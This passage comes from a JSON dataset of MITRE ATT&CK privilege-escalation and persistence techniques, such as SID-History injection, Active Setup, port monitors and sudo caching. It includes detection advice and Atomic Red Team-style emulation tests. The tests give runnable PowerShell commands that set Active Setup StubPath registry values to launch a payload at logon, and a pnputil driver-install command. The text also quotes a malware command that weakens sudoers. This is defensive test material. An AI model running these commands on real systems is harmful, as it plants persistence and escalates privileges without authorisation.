- "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
- "url": "https://adsecurity.org/?p=1772"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms677982.aspx",
- "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
- "source_name": "Microsoft DsAddSidHistory"
- }
- ],
- "modified": "2020-02-18T18:35:21.493Z",
- "name": "SID-History Injection",
- "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory
function. (Citation: Microsoft DsAddSidHistory)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1547": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
- "created": "2020-01-23T17:46:59.535Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547",
- "url": "https://attack.mitre.org/techniques/T1547"
- },
- {
- "source_name": "Cylance Reg Persistence Sept 2013",
- "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
- "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018."
- },
- {
- "source_name": "MSDN Authentication Packages",
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
- "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."
- },
- {
- "source_name": "Microsoft Run Key",
- "url": "http://msdn.microsoft.com/en-us/library/aa376977",
- "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014."
- },
- {
- "source_name": "Microsoft TimeProvider",
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
- "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018."
- },
- {
- "source_name": "Linux Kernel Programming",
- "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
- "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/564.html",
- "source_name": "capec",
- "external_id": "CAPEC-564"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.",
- "modified": "2022-04-18T22:21:27.840Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution",
- "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Windows Registry: Windows Registry Key Creation",
- "Process: Process Creation",
- "Command: Command Execution",
- "Module: Module Load",
- "Driver: Driver Load",
- "File: File Creation",
- "Kernel: Kernel Module Load",
- "Process: OS API Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547"
- },
- "atomic_tests": [
- {
- "name": "Add a driver",
- "auto_generated_guid": "cb01b3da-b0e7-4e24-bf6d-de5223526785",
- "description": "Install a driver via pnputil.exe lolbin\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "driver_inf": {
- "description": "A built-in, already installed windows driver inf",
- "type": "path",
- "default": "C:\\Windows\\INF\\usbstor.inf"
- }
- },
- "executor": {
- "command": "pnputil.exe /add-driver \"#{driver_inf}\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:26.057Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1013",
- "url": "https://attack.mitre.org/techniques/T1013"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/dd183341",
- "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.",
- "source_name": "AddMonitor"
- },
- {
- "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf",
- "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.",
- "source_name": "Bloxham"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-01-24T19:47:55.183Z",
- "name": "Port Monitors",
- "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32
and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "* Monitor process API calls to (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors
.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1206": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1206",
- "url": "https://attack.mitre.org/techniques/T1206"
- },
- {
- "url": "https://www.sudo.ws/",
- "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
- "source_name": "sudo man page 2018"
- },
- {
- "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
- "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
- "source_name": "cybereason osx proton"
- }
- ],
- "modified": "2020-02-05T20:10:18.586Z",
- "name": "Sudo Caching",
- "description": "The sudo
command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout
that is the amount of time in minutes between instances of sudo
before it will re-prompt for a password. This is because sudo
has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo
with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets
variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo
's timestamp can be monitored to see if it falls within the timestamp_timeout
range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets
is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets
to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers
(Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal
. As of macOS Sierra, the sudoers file has tty_tickets
enabled by default.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT
and LOG_OUTPUT
directives in the /etc/sudoers
file.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1547.014": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
- "type": "attack-pattern",
- "created": "2020-12-18T16:33:13.098Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.014",
- "url": "https://attack.mitre.org/techniques/T1547/014"
- },
- {
- "source_name": "Klein Active Setup 2010",
- "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/",
- "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020."
- },
- {
- "source_name": "Mandiant Glyer APT 2010",
- "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf",
- "description": "Glyer, C. (2010). Examples of Recent APT Persitence Mechanism. Retrieved December 18, 2020."
- },
- {
- "source_name": "Citizenlab Packrat 2015",
- "url": "https://citizenlab.ca/2015/12/packrat-report/",
- "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020."
- },
- {
- "source_name": "FireEye CFR Watering Hole 2012",
- "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
- "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."
- },
- {
- "source_name": "SECURELIST Bright Star 2015",
- "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/",
- "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020."
- },
- {
- "source_name": "paloalto Tropic Trooper 2016",
- "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
- "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020."
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2021-03-05T22:36:37.414Z",
- "name": "Active Setup",
- "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\
and setting a malicious value for StubPath
. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor Registry key additions and/or modifications to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\
.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1547.014"
- },
- "atomic_tests": [
- {
- "name": "HKLM - Add atomic_test key to launch executable as part of user setup",
- "auto_generated_guid": "deff4586-0517-49c2-981d-bbea24d48d71",
- "description": "This test will create an \"atomic_test\" key under 'HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components' to launch calc by configuring an active setup executable and \nforcing to run active setup using the \"runonce.exe /AlternateShellStartup\" command. \nWithout the \"runonce.exe /AlternateShellStartup\" command it would run during the next logon for each user.\n\nNote: If you logout before running the cleanup command, you will be required to go through the OOBE (out-of-box experience) setup sequence to log back in. \nThe payload will only run once unless the cleanup command is run in between tests.\n\n[Active Setup Explained](https://helgeklein.com/blog/active-setup-explained/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "Payload to run once during login",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "New-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\" -Name \"atomic_test\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"(Default)\" \"ART TEST\" -Force\nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" \"StubPath\" \"#{payload}\" -Force \n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup",
- "cleanup_command": "Remove-Item \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore\nRemove-Item \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\atomic_test\" -Force -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Add malicious StubPath value to existing Active Setup Entry",
- "auto_generated_guid": "39e417dd-4fed-4d9c-ae3a-ba433b4d0e9a",
- "description": "This test will add a StubPath entry to the Active Setup native registry key associated with 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) \nSaid key doesn't have a StubPath value by default, by adding one it will launch calc by forcing to run active setup using runonce.exe /AlternateShellStartup. \nWithout the last command it will normally run on next user logon. Note: this test will only run once successfully if no cleanup command is run in between test.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "payload": {
- "description": "Payload to run once during login",
- "type": "string",
- "default": "C:\\Windows\\System32\\calc.exe"
- }
- },
- "executor": {
- "command": "Set-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" \"StubPath\" \"#{payload}\" -Force\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup",
- "cleanup_command": "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"StubPath\" -Force\nRemove-ItemProperty \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Force",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - re-execute 'Internet Explorer Core Fonts' StubPath payload by decreasing version number",
- "auto_generated_guid": "04d55cef-f283-40ba-ae2a-316bc3b5e78c",
- "description": "This test will decrease the version number of the 'Internet Explorer Core Fonts' (UUID {C9E9A340-D1F1-11D0-821E-444553540600}) registry key for the current user, \nwhich will force the StubPath payload (if set) to execute.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Set-ItemProperty -Path \"HKCU:\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9E9A340-D1F1-11D0-821E-444553540600}\" -Name \"Version\" -Value \"0,0,0,0\"\n& $env:SYSTEMROOT\\system32\\runonce.exe /AlternateShellStartup\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1484.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Blake Strom, Microsoft 365 Defender"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
- "type": "attack-pattern",
- "created": "2020-12-28T21:59:02.181Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1484.002",
- "url": "https://attack.mitre.org/techniques/T1484/002"
- },
- {
- "source_name": "Microsoft - Azure AD Federation",
- "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed",
- "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020."
- },
- {
- "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods",
- "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml",
- "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020."
- },
- {
- "source_name": "Sygnia Golden SAML",
- "url": "https://www.sygnia.co/golden-saml-advisory",
- "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."
- },
- {
- "source_name": "CISA SolarWinds Cloud Detection",
- "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a",
- "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021."
- },
- {
- "source_name": "Microsoft - Update or Repair Federated domain",
- "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365",
- "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020."
- }
- ],
- "modified": "2021-01-11T18:21:20.213Z",
- "name": "Domain Trust Modification",
- "description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain
and Set domain authentication
.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\"
, or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain
.(Citation: Microsoft - Update or Repair Federated domain)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Object Modification",
- "Active Directory: Active Directory Object Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1484.002"
- },
- "atomic_tests": []
- },
- "T1543.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matthew Demaske, Adaptforward",
- "Pedro Harrison",
- "Mayuresh Dani, Qualys",
- "Wietze Beukema, @wietze",
- "Akshat Pradhan, Qualys"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
- "created": "2020-01-17T19:13:50.402Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.003",
- "url": "https://attack.mitre.org/techniques/T1543/003"
- },
- {
- "source_name": "Microsoft Windows Event Forwarding FEB 2018",
- "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
- "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018."
- },
- {
- "source_name": "ESET InvisiMole June 2020",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
- "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
- },
- {
- "source_name": "TechNet Services",
- "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
- "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016."
- },
- {
- "source_name": "Microsoft 4697 APR 2017",
- "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
- "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018."
- },
- {
- "source_name": "Symantec W.32 Stuxnet Dossier",
- "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf",
- "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020."
- },
- {
- "source_name": "Unit42 AcidBox June 2020",
- "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
- "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "source_name": "Crowdstrike DriveSlayer February 2022",
- "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/",
- "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/478.html",
- "source_name": "capec",
- "external_id": "CAPEC-478"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/550.html",
- "source_name": "capec",
- "external_id": "CAPEC-550"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/551.html",
- "source_name": "capec",
- "external_id": "CAPEC-551"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege 